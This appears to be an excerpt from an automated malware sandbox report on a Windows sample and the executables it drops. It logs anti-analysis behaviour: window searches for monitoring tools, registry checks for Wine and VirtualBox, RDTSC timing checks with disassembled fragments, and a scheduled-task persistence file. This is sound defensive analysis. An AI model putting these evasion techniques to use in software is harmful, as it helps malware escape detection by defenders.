Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIJEGDBGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIJEGDBGDBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008198001\f3f60a7f50.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D793FB second address: D793FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D784C9 second address: D784D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D784D1 second address: D784DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D784DD second address: D784E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7862C second address: D78645 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F148511F5B6h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F148511F5B6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78645 second address: D78659 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F14847540AEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78659 second address: D78671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F148511F5C0h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78A94 second address: D78A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F14847540A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78D53 second address: D78D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78D59 second address: D78D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6CD second address: D7A6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6DA second address: D7A6E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6E0 second address: D7A6F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F148511F5C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6F7 second address: D7A722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F14847540AFh 0x00000011 push ebx 0x00000012 jns 00007F14847540A6h 0x00000018 pop ebx 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A76B second address: D7A771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A771 second address: D7A792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F14847540B5h 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A792 second address: D7A796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A89E second address: D7A8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F14847540A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A8A9 second address: D7A8BB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F148511F5B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A8BB second address: D7A8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A996 second address: D7A9DA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F148511F5BCh 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F148511F5BDh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F148511F5C6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A9DA second address: D7A9F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A9F3 second address: D7A9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A9F9 second address: D7AA42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c sub ecx, dword ptr [ebp+122D3551h] 0x00000012 lea ebx, dword ptr [ebp+1244E5FFh] 0x00000018 add edx, 404E84DAh 0x0000001e xchg eax, ebx 0x0000001f push eax 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F14847540B0h 0x00000028 popad 0x00000029 pop eax 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7AA42 second address: D7AA4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A537 second address: D9A561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F14847540A6h 0x0000000a jmp 00007F14847540B2h 0x0000000f popad 0x00000010 push edi 0x00000011 jmp 00007F14847540ABh 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A561 second address: D9A571 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jo 00007F148511F5B6h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A571 second address: D9A575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9851E second address: D98548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F148511F5B6h 0x00000012 jmp 00007F148511F5C8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98548 second address: D98568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B6h 0x00000007 je 00007F14847540A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98568 second address: D9856D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9856D second address: D98573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98710 second address: D98716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98716 second address: D9871C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D988E2 second address: D988EC instructions: 0x00000000 rdtsc 0x00000002 je 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D988EC second address: D988FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F14847540ACh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98E42 second address: D98E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148511F5BAh 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D98F86 second address: D98F8C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D920E8 second address: D920EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D920EE second address: D920F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D996E6 second address: D996ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99CC7 second address: D99CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99CCB second address: D99CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99E10 second address: D99E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99E14 second address: D99E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99FC9 second address: D99FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D920DA second address: D920F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jbe 00007F148511F5C2h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CC41 second address: D9CC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9CC47 second address: D9CC72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F148511F5C7h 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F148511F5B6h 0x00000013 jc 00007F148511F5B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0A22 second address: DA0A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0F79 second address: DA0F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0F7D second address: DA0F87 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F14847540A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0F87 second address: DA0F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA0F8C second address: DA0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1060 second address: DA1065 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA606B second address: DA6089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F14847540B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F14847540A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6089 second address: DA608D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71B01 second address: D71B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F14847540AEh 0x00000009 jmp 00007F14847540ACh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71B1F second address: D71B46 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148511F5B6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F148511F5C7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71B46 second address: D71B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71B4A second address: D71B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D20 second address: DA5D2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F14847540A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5E80 second address: DA5E8A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148511F5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5E8A second address: DA5EBA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F14847540B3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F14847540ADh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jne 00007F14847540A6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5EBA second address: DA5EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5EC2 second address: DA5EE5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F14847540B3h 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F14847540A6h 0x00000010 jnc 00007F14847540A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6723 second address: DA6732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6732 second address: DA6736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6736 second address: DA673C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6801 second address: DA6829 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F14847540B5h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6829 second address: DA6872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push ecx 0x0000000b jmp 00007F148511F5C3h 0x00000010 pop ecx 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F148511F5C2h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jl 00007F148511F5B6h 0x00000024 jl 00007F148511F5B6h 0x0000002a popad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6981 second address: DA6987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6987 second address: DA698C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6DE0 second address: DA6E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F14847540B0h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F14847540AEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6E0A second address: DA6E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA73DA second address: DA73E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA74E9 second address: DA7503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148511F5C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA77DB second address: DA77F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F14847540B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7E43 second address: DA7E49 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
